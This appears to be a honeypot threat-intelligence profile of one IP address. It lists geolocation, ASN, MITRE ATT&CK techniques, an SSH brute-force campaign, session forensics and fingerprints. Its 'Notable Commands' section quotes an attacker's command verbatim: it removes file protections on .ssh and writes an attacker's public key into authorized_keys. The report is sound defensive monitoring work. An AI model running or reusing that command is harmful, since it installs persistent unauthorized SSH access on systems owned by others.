IntrusionLabs IntrusionLabs
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129.121.54.93

TAGGED SUSPICIOUS how we decide →
Threat Confidence
55%
Location
🇧🇷 BR / Vinhedo
ASN
AS26337 · Oso Grande IP Services, LLC
Cloud Provider
—
Total Events
33
Average by volume
Agent Count
2
First / Last Seen
2026-05-15 02:15 — 2026-05-27 08:04
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595 T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Discovery
T1016 T1046 T1082
Command and Control
T1105
External Corroboration
Blocklist.de
Reported 2026-05-31 22:02
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (942 IPs, 85 countries) HASSH Active high 🇨🇳 CN
942 IPs 402570 events
http:scanssh:bruteforce
2026-02-25 — ongoing · 942 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
Session Forensics
scanner ×1 reconnaissance ×1 malware_dropper ×1 credential_probe ×1 opportunistic_bruter ×1
Sessions
5 (3 with login)
Avg Depth Score
0.49
Commands Executed
4
Files Downloaded
1
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
  • uname -s -m
Fingerprints
HASSH
98f63c4d9c87edbd97ed4747fa031019f555226df1963d1d3c09daf865abdc9a
SSH Client
SSH-2.0-GoSSH-2.0-libssh_0.9.6
Evidence Timeline
Opportunistic Bruter ea83f55aaf5f w4m_seattle_01 · 2026-05-27 08:04
1 50%
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Malware Dropper 3bf890f0e593 w4m_seattle_01 · 2026-05-27 08:04
3 1 1 100%
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Credential Probe 44de1835fdca w4m_seattle_01 · 2026-05-27 08:04
1 20%
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Reconnaissance 14edb2463776 w4m_singapore_01 · 2026-05-15 02:15
1 1 60%
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Scanner a1aeabe996af w4m_singapore_01 · 2026-05-15 02:15
15%
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